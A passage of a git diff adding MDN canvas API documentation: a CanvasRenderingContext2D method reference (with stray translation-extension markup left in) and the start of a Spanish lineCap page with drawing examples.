+ <dt>{{domxref("CanvasRenderingContext2D.lineTo()")}}</dt>
+ <dd>Connects the last point in the subpath to the <code>x, y</code> coordinates with a straight line.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.bezierCurveTo()")}}</dt>
+ <dd>Adds a cubic Bézier curve to the path. It requires three points. The first two points are control points and the third one is the end point. The starting point is the last point in the current path, which can be changed using <code>moveTo()</code> before creating the Bézier curve.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.quadraticCurveTo()")}}</dt>
+ <dd>Adds a quadratic Bézier curve to the current path.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.arc()")}}</dt>
+ <dd>Adds an arc to the path which is centered at <em>(x, y)</em> position with radius<em> r</em> starting at <em>startAngle</em> and ending at <em>endAngle</em> going in the given direction by <em>anticlockwise</em> (defaulting to clockwise).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.arcTo()")}}</dt>
+ <dd>Adds an arc to the path with the given control points and radius, connected to the previous point by a straight line.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.ellipse()")}} {{experimental_inline}}</dt>
+ <dd>Adds an ellipse to the path which is centered at <em>(x, y)</em> position with the radii <em>radiusX</em> and <em>radiusY</em> starting at <em>startAngle</em> and ending at <em>endAngle</em> going in the given direction by <em>anticlockwise</em> (defaulting to clockwise).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.rect()")}}</dt>
+ <dd>Creates a path for a rectangle at<em> </em>position <em>(x, y)</em> with a size that is determined by <em>width</em> and <em>height</em>.</dd>
+</dl>
+
+<h2 id="Drawing_paths">Drawing paths</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fill()")}}</dt>
+ <dd>Fills the subpaths with the current fill style.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.stroke()")}}</dt>
+ <dd>Strokes the subpaths with the current stroke style.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.drawFocusIfNeeded()")}}</dt>
+ <dd>If a given element is focused, this method draws a focus ring around the current path.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}}</dt>
+ <dd>Scrolls the current path or a given path into the view.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clip()")}}</dt>
+ <dd>Creates a clipping path from the current sub-paths. Everything drawn after <code>clip()</code> is called appears inside the clipping path only. For an example, see <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Clipping paths">Clipping paths</a> in the Canvas tutorial.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.isPointInPath()")}}</dt>
+ <dd>Reports whether or not the specified point is contained in the current path.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.isPointInStroke()")}}</dt>
+ <dd>Reports whether or not the specified point is inside the area contained by the stroking of a path.</dd>
+</dl>
+
+<h2 id="Transformations">Transformations</h2>
+
+<p>Objects in the <code>CanvasRenderingContext2D</code> rendering context have a current transformation matrix and methods to manipulate it. The transformation matrix is applied when creating the current default path, painting text, shapes and {{domxref("Path2D")}} objects. The methods listed below remain for historical and compatibility reasons as {{domxref("SVGMatrix")}} objects are used in most parts of the API nowadays and will be used in the future instead.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.currentTransform")}}</dt>
+ <dd>Current transformation matrix ({{domxref("SVGMatrix")}} object).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.rotate()")}}</dt>
+ <dd>Adds a rotation to the transformation matrix. The angle argument represents a clockwise rotation angle and is expressed in radians.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.scale()")}}</dt>
+ <dd>Adds a scaling transformation to the canvas units by x horizontally and by y vertically.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.translate()")}}</dt>
+ <dd>Adds a translation transformation by moving the canvas and its origin x horzontally and y vertically on the grid.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.transform()")}}</dt>
+ <dd>Multiplies the current transformation matrix with the matrix described by its arguments.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setTransform()")}}</dt>
+ <dd>Resets the current transform to the identity matrix, and then invokes the <code>transform()</code> method with the same arguments.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.resetTransform()")}} {{experimental_inline}}</dt>
+ <dd>Resets the current transform by the identity matrix.</dd>
+</dl>
+
+<h2 id="Compositing">Compositing</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.globalAlpha")}}</dt>
+ <dd>Alpha value that is applied to shapes and images before they are composited onto the canvas. Default <code>1.0</code> (opaque).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.globalCompositeOperation")}}</dt>
+ <dd>With <code>globalAlpha</code> applied this sets how shapes and images are drawn onto the existing bitmap.</dd>
+</dl>
+
+<h2 id="Drawing_images">Drawing images</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage()")}}</dt>
+ <dd>Draws the specified image. This method is available in multiple formats, providing a great deal of flexibility in its use.</dd>
+</dl>
+
+<h2 id="Pixel_manipulation">Pixel manipulation</h2>
+
+<p>See also the {{domxref("ImageData")}} object.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createImageData()")}}</dt>
+ <dd>Creates a new, blank {{domxref("ImageData")}} object with the specified dimensions. All of the pixels in the new object are transparent black.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getImageData()")}}</dt>
+ <dd>Returns an {{domxref("ImageData")}} object representing the underlying pixel data for the area of the canvas denoted by the rectangle which starts at <em>(sx, sy)</em> and has an <em>sw</em> width and <em>sh</em> height.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.putImageData()")}}</dt>
+ <dd>Paints data from the given {{domxref("ImageData")}} object onto the bitmap. If a dirty rectangle is provided, only the pixels from that rectangle are painted.</dd>
+</dl>
+
+<h2 id="Image_smoothing">Image smoothing</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}} {{experimental_inline}}</dt>
+ <dd>Image smoothing mode; if disabled, images will not be smoothed if scaled.</dd>
+</dl>
+
+<h2 id="The_canvas_state">The canvas state</h2>
+
+<p>The <code>CanvasRenderingContext2D</code> rendering context contains a variety of drawing style states (attributes for line styles, fill styles, shadow styles, text styles). The following methods help you to work with that state:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.save()")}}</dt>
+ <dd>Saves the current drawing style state using a stack so you can revert any change you make to it using <code>restore()</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.restore()")}}</dt>
+ <dd>Restores the drawing style state to the last element on the 'state stack' saved by <code>save()</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.canvas")}}</dt>
+ <dd>A read-only back-reference to the {{domxref("HTMLCanvasElement")}}. Might be {{jsxref("null")}} if it is not associated with a {{HTMLElement("canvas")}} element.</dd>
+</dl>
+
+<h2 id="Hit_regions">Hit regions</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.addHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>Adds a hit region to the canvas.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.removeHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>Removes the hit region with the specified <code>id</code> from the canvas.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clearHitRegions()")}} {{experimental_inline}}</dt>
+ <dd>Removes all hit regions from the canvas.</dd>
+</dl>
+
+<h2 id="Non-standard_APIs">Non-standard APIs</h2>
+
+<h3 id="Blink_and_WebKit">Blink and WebKit</h3>
+
+<p>Most of these APIs are <a href="https://code.google.com/p/chromium/issues/detail?id=363198">deprecated and will be removed in the future</a>.</p>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.clearShadow()</code></dt>
+ <dd>Removes all shadow settings like {{domxref("CanvasRenderingContext2D.shadowColor")}} and {{domxref("CanvasRenderingContext2D.shadowBlur")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.drawImageFromRect()</code></dt>
+ <dd>This is redundant with an equivalent overload of <code>drawImage</code>.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setAlpha()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.globalAlpha")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setCompositeOperation()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.globalCompositeOperation")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineWidth()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.lineWidth")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineJoin()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.lineJoin")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineCap()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.lineCap")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setMiterLimit()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.miterLimit")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setStrokeColor()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.strokeStyle")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setFillColor()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.fillStyle")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setShadow()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.shadowColor")}} and {{domxref("CanvasRenderingContext2D.shadowBlur")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitLineDash</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.getLineDash()")}} and {{domxref("CanvasRenderingContext2D.setLineDash()")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitLineDashOffset</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.lineDashOffset")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitImageSmoothingEnabled</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}} instead.</dd>
+</dl>
+
+<h3 id="Blink_only">Blink only</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.getContextAttributes()</code></dt>
+ <dd>Inspired by the same <code>WebGLRenderingContext</code> method it returns an <code>Canvas2DContextAttributes</code> object that contains the attributes "storage" to indicate which storage is used ("persistent" by default) and the attribute "alpha" (<code>true</code> by default) to indicate that transparency is used in the canvas.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.isContextLost()</code></dt>
+ <dd>Inspired by the same <code>WebGLRenderingContext</code> method it returns <code>true</code> if the Canvas context has been lost, or <code>false</code> if not.</dd>
+</dl>
+
+<h3 id="WebKit_only">WebKit only</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitBackingStorePixelRatio</code></dt>
+ <dd>The backing store size in relation to the canvas element. See <a href="http://www.html5rocks.com/en/tutorials/canvas/hidpi/">High DPI Canvas</a>.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitGetImageDataHD</code></dt>
+ <dd>Intended for HD backing stores, but removed from canvas specifications.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitPutImageDataHD</code></dt>
+ <dd>Intended for HD backing stores, but removed from canvas specifications.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h3 id="Gecko_only">Gecko only</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.filter")}}</dt>
+ <dd><span id="summary_alias_container"><span id="short_desc_nonedit_display">CSS and SVG filters as Canvas APIs</span></span>. Likely to be standardized in a new version of the specification.</dd>
+</dl>
+
+<h4 id="Prefixed_APIs">Prefixed APIs</h4>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozCurrentTransform</code></dt>
+ <dd>Sets or gets the current transformation matrix, see {{domxref("CanvasRenderingContext2D.currentTransform")}}.  {{ gecko_minversion_inline("7.0") }}</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozCurrentTransformInverse</code></dt>
+ <dd>Sets or gets the current inversed transformation matrix.  {{ gecko_minversion_inline("7.0") }}</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozFillRule</code></dt>
+ <dd>The <a class="external" href="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t" title="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t">fill rule</a> to use. This must be one of <code>evenodd</code> or <code>nonzero</code> (default).</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozImageSmoothingEnabled</code></dt>
+ <dd>See {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}}.</dd>
+ <dt>{{non-standard_inline}} {{deprecated_inline}} <code>CanvasRenderingContext2D.mozDash</code></dt>
+ <dd>An array which specifies the lengths of alternating dashes and gaps {{ gecko_minversion_inline("7.0") }}. Use {{domxref("CanvasRenderingContext2D.getLineDash()")}} and {{domxref("CanvasRenderingContext2D.setLineDash()")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{deprecated_inline}} <code>CanvasRenderingContext2D.mozDashOffset</code></dt>
+ <dd>Specifies where to start a dash array on a line. {{ gecko_minversion_inline("7.0") }}. Use {{domxref("CanvasRenderingContext2D.lineDashOffset")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{deprecated_inline}} <code>CanvasRenderingContext2D.mozTextStyle</code></dt>
+ <dd>Introduced in in Gecko 1.9, deprecated in favor of the {{domxref("CanvasRenderingContext2D.font")}} property.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozDrawText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0. Use {{domxref("CanvasRenderingContext2D.strokeText()")}} or {{domxref("CanvasRenderingContext2D.fillText()")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozMeasureText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is unimplemented starting with Gecko 7.0. Use {{domxref("CanvasRenderingContext2D.measureText()")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozPathText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozTextAlongPath()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0.</dd>
+</dl>
+
+<h4 id="Internal_APIs_(chrome-context_only)">Internal APIs (chrome-context only)</h4>
+
+<dl>
+ <dt>{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.asyncDrawXULElement()")}}</dt>
+ <dd>Renders a region of a XUL element into the <code>canvas</code>.</dd>
+ <dt>{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.drawWindow()")}}</dt>
+ <dd>Renders a region of a window into the <code>canvas</code>. The contents of the window's viewport are rendered, ignoring viewport clipping and scrolling.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.demote()</code></dt>
+ <dd>This causes a context that is currently using a hardware-accelerated backend to fallback to a software one. All state should be preserved.</dd>
+</dl>
+
+<h3 id="Internet_Explorer">Internet Explorer</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.msFillRule</code></dt>
+ <dd>The <a class="external" href="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t" title="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t">fill rule</a> to use. This must be one of <code>evenodd</code> or <code>nonzero</code> (default).</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#2dcontext:canvasrenderingcontext2d", "CanvasRenderingContext2D")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("1")}}</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("9")}}</td>
+   <td>{{CompatSafari("2")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Compatibility_notes">Compatibility notes</h3>
+
+<ul>
+ <li>Starting with Gecko 5.0 {{geckoRelease("5.0")}}, specifying invalid values are now silently ignored for the following methods and properties: <code>translate()</code>, <code>transform()</code>, <code>rotate(), </code><code>scale(),</code> <code>rect()</code>, <code>clearRect()</code>, <code>fillRect()</code>, <code>strokeRect()</code>, <code>lineTo()</code>, <code>moveTo()</code>, <code>quadraticCurveTo()</code>, <code>arc()</code>, <code>shadowOffsetX</code>, <code>shadowOffsetY</code>,  <code>shadowBlur</code>.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+</ul>
+
+<div id="SLG_balloon_obj" style="display: block;">
+<div class="SLG_ImTranslatorLogo" id="SLG_button" style="display: none; opacity: 1;"> </div>
+
+<div id="SLG_shadow_translation_result2" style="display: none;"> </div>
+
+<div id="SLG_shadow_translator" style="display: none; box-shadow: rgb(186, 185, 181) 0px 0px 0px;">
+<div id="SLG_planshet">
+<div id="SLG_arrow_up" style=""> </div>
+
+<div id="SLG_Bproviders" style="">
+<div class="SLG_BL_LABLE_ON" id="SLG_P0" title="Google">G</div>
+
+<div class="SLG_BL_LABLE_ON" id="SLG_P1" title="Microsoft">M</div>
+
+<div class="SLG_BL_LABLE_ON" id="SLG_P2" title="Translator">T</div>
+</div>
+
+<div id="SLG_alert_bbl" style="display: none;">
+<div id="SLHKclose" style=""> </div>
+
+<div id="SLG_alert_cont"> </div>
+</div>
+
+<div id="SLG_TB">
+<table id="SLG_tables">
+ <tbody><tr>
+  <td class="SLG_td"><input></td>
+  <td class="SLG_td"><select><option value="auto">Detectar idioma</option><option value="af">Afrikáans</option><option value="sq">Albanés</option><option value="de">Alemán</option><option value="am">Amhárico</option><option value="ar">Árabe</option><option value="hy">Armenio</option><option value="az">Azerí</option><option value="bn">Bengalí</option><option value="be">Bielorruso</option><option value="my">Birmano</option><option value="bs">Bosnio</option><option value="bg">Búlgaro</option><option value="km">Camboyano</option><option value="kn">Canarés</option><option value="ca">Catalán</option><option value="ceb">Cebuano</option><option value="cs">Checo</option><option value="ny">Chichewa</option><option value="zh-CN">Chino simp</option><option value="zh-TW">Chino trad</option><option value="si">Cincalés</option><option value="ko">Coreano</option><option value="co">Corso</option><option value="ht">Criollo haitiano</option><option value="hr">Croata</option><option value="da">Danés</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Español</option><option value="eo">Esperanto</option><option value="et">Estonio</option><option value="eu">Euskera</option><option value="fi">Finlandés</option><option value="fr">Francés</option><option value="fy">Frisio</option><option value="gd">Gaélico escocés</option><option value="cy">Galés</option><option value="gl">Gallego</option><option value="ka">Georgiano</option><option value="el">Griego</option><option value="gu">Gujarati</option><option value="ha">Hausa</option><option value="haw">Hawaiano</option><option value="iw">Hebreo</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandés</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonesio</option><option value="en">Inglés</option><option value="ga">Irlandés</option><option value="is">Islandés</option><option value="it">Italiano</option><option value="ja">Japonés</option><option value="jw">Javanés</option><option value="kk">Kazajo</option><option value="ky">Kirguís</option><option value="ku">Kurdo</option><option value="lo">Lao</option><option value="la">Latín</option><option value="lv">Letón</option><option value="lt">Lituano</option><option value="lb">Luxemburgués</option><option value="mk">Macedonio</option><option value="ml">Malayalam</option><option value="ms">Malayo</option><option value="mg">Malgache</option><option value="mt">Maltés</option><option value="mi">Maorí</option><option value="mr">Maratí</option><option value="mn">Mongol</option><option value="ne">Nepalí</option><option value="no">Noruego</option><option value="pa">Panyabí</option><option value="ps">Pastún</option><option value="fa">Persa</option><option value="pl">Polaco</option><option value="pt">Portugués</option><option value="ro">Rumano</option><option value="ru">Ruso</option><option value="sm">Samoano</option><option value="sr">Serbio</option><option value="st">Sesoto</option><option value="sn">Shona</option><option value="sd">Sindhi</option><option value="so">Somalí</option><option value="sw">Suajili</option><option value="sv">Sueco</option><option value="su">Sundanés</option><option value="tl">Tagalo</option><option value="th">Tailandés</option><option value="ta">Tamil</option><option value="tg">Tayiko</option><option value="te">Telugu</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeco</option><option value="vi">Vietnamita</option><option value="xh">Xhosa</option><option value="yi">Yidis</option><option value="yo">Yoruba</option><option value="zu">Zulú</option></select></td>
+  <td class="SLG_td">
+   <div id="SLG_switch_b" style="" title="Cambiar idiomas"> </div>
+  </td>
+  <td class="SLG_td"><select><option value="af">Afrikáans</option><option value="sq">Albanés</option><option value="de">Alemán</option><option value="am">Amhárico</option><option value="ar">Árabe</option><option value="hy">Armenio</option><option value="az">Azerí</option><option value="bn">Bengalí</option><option value="be">Bielorruso</option><option value="my">Birmano</option><option value="bs">Bosnio</option><option value="bg">Búlgaro</option><option value="km">Camboyano</option><option value="kn">Canarés</option><option value="ca">Catalán</option><option value="ceb">Cebuano</option><option value="cs">Checo</option><option value="ny">Chichewa</option><option value="zh-CN">Chino simp</option><option value="zh-TW">Chino trad</option><option value="si">Cincalés</option><option value="ko">Coreano</option><option value="co">Corso</option><option value="ht">Criollo haitiano</option><option value="hr">Croata</option><option value="da">Danés</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option selected value="es">Español</option><option value="eo">Esperanto</option><option value="et">Estonio</option><option value="eu">Euskera</option><option value="fi">Finlandés</option><option value="fr">Francés</option><option value="fy">Frisio</option><option value="gd">Gaélico escocés</option><option value="cy">Galés</option><option value="gl">Gallego</option><option value="ka">Georgiano</option><option value="el">Griego</option><option value="gu">Gujarati</option><option value="ha">Hausa</option><option value="haw">Hawaiano</option><option value="iw">Hebreo</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandés</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonesio</option><option value="en">Inglés</option><option value="ga">Irlandés</option><option value="is">Islandés</option><option value="it">Italiano</option><option value="ja">Japonés</option><option value="jw">Javanés</option><option value="kk">Kazajo</option><option value="ky">Kirguís</option><option value="ku">Kurdo</option><option value="lo">Lao</option><option value="la">Latín</option><option value="lv">Letón</option><option value="lt">Lituano</option><option value="lb">Luxemburgués</option><option value="mk">Macedonio</option><option value="ml">Malayalam</option><option value="ms">Malayo</option><option value="mg">Malgache</option><option value="mt">Maltés</option><option value="mi">Maorí</option><option value="mr">Maratí</option><option value="mn">Mongol</option><option value="ne">Nepalí</option><option value="no">Noruego</option><option value="pa">Panyabí</option><option value="ps">Pastún</option><option value="fa">Persa</option><option value="pl">Polaco</option><option value="pt">Portugués</option><option value="ro">Rumano</option><option value="ru">Ruso</option><option value="sm">Samoano</option><option value="sr">Serbio</option><option value="st">Sesoto</option><option value="sn">Shona</option><option value="sd">Sindhi</option><option value="so">Somalí</option><option value="sw">Suajili</option><option value="sv">Sueco</option><option value="su">Sundanés</option><option value="tl">Tagalo</option><option value="th">Tailandés</option><option value="ta">Tamil</option><option value="tg">Tayiko</option><option value="te">Telugu</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeco</option><option value="vi">Vietnamita</option><option value="xh">Xhosa</option><option value="yi">Yidis</option><option value="yo">Yoruba</option><option value="zu">Zulú</option></select></td>
+  <td class="SLG_td"> </td>
+  <td class="SLG_td">
+   <div id="SLG_TTS_voice" style="" title="Inglés"> </div>
+  </td>
+  <td class="SLG_td">
+   <div class="SLG_copy" id="SLG_copy" style="" title="Copiar"> </div>
+  </td>
+  <td class="SLG_td">
+   <div id="SLG_bbl_font_patch"> </div>
+
+   <div class="SLG_bbl_font" id="SLG_bbl_font" style="" title="Тamaño de fuente"> </div>
+  </td>
+  <td class="SLG_td">
+   <div id="SLG_bbl_help" style="" title="Ayuda"> </div>
+  </td>
+  <td class="SLG_td">
+   <div class="SLG_pin_off" id="SLG_pin" style="" title="Fijar la ventana de traducción"> </div>
+  </td>
+ </tr>
+</tbody></table>
+</div>
+</div>
+
+<div id="SLG_shadow_translation_result" style=""> </div>
+
+<div class="SLG_loading" id="SLG_loading" style=""> </div>
+
+<div id="SLG_player2"> </div>
+
+<div id="SLG_alert100">La función de sonido está limitada a 200 caracteres</div>
+
+<div id="SLG_Balloon_options" style="background: rgb(255, 255, 255);">
+<div id="SLG_arrow_down" style=""> </div>
+
+<table id="SLG_tbl_opt" style="width: 100%;">
+ <tbody><tr>
+  <td><input></td>
+  <td>
+   <div id="SLG_BBL_IMG" style="" title="Mostrar el botón ImTranslator 3 segundos"> </div>
+  </td>
+  <td><a class="SLG_options" title="Mostrar opciones">Opciones</a> : <a class="SLG_options" title="Historial de traducciones">Historia</a> : <a class="SLG_options" title="ImTranslator Feedback">Feedback</a> : <a class="SLG_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Hacer una contribución">Donate</a></td>
+  <td><span id="SLG_Balloon_Close" title="Cerrar">Cerrar</span></td>
+ </tr>
+</tbody></table>
+</div>
+</div>
+</div>
diff --git a/files/es/web/api/canvasrenderingcontext2d/linecap/index.html b/files/es/web/api/canvasrenderingcontext2d/linecap/index.html
new file mode 100644
index 0000000000..e61f3c1465
--- /dev/null
+++ b/files/es/web/api/canvasrenderingcontext2d/linecap/index.html
@@ -0,0 +1,131 @@
+---
+title: CanvasRenderingContext2D.lineCap
+slug: Web/API/CanvasRenderingContext2D/lineCap
+translation_of: Web/API/CanvasRenderingContext2D/lineCap
+---
+<div>{{APIRef}}</div>
+
+<p>La propiedad <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.lineCap</code></strong> del API Canvas 2D determina la forma usada para dibujar los puntos finales de las líneas.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> La líneas se puede dibujar con los métodos {{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}}, {{domxref("CanvasRenderingContext2D.strokeRect()", "strokeRect()")}}, y {{domxref("CanvasRenderingContext2D.strokeText()", "strokeText()")}}.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.lineCap = "butt" || "round" || "square";
+</pre>
+
+<h3 id="Opciones">Opciones</h3>
+
+<dl>
+ <dt><code>"butt"</code></dt>
+ <dd>Los finales de las líneas son recortados. Valor por defecto.</dd>
+ <dt><code>"round"</code></dt>
+ <dd>Los finales de las líneas son redondeados.</dd>
+ <dt><code>"square"</code></dt>
+ <dd>Los finales de líneas son recortados al agregar un cuadrado de ancho y altura igual que el grosor de línea.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Cambiando_los_finales_de_línea">Cambiando los finales de línea</h3>
+
+<p>En este ejemplo se redondean los puntos finales de una línea recta.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[7]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.moveTo(20, 20);
+ctx.lineWidth = 15;
+ctx.lineCap = 'round';
+ctx.lineTo(100, 100);
+ctx.stroke();
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{ EmbedLiveSample('Changing_the_shape_of_line_caps', 700, 180) }}</p>
+
+<h3 id="Comparando_los_finales_de_línea">Comparando los finales de línea</h3>
+
+<p>En este ejemplo se dibujan 3 líneas, cada una con un valor distinto de la propiedad <code>lineCap</code>. Se agregaron dos guías para resaltar las diferencias entre las tres líneas. Cada una de estas líneas empiezan y terminan en estas guías.</p>
+
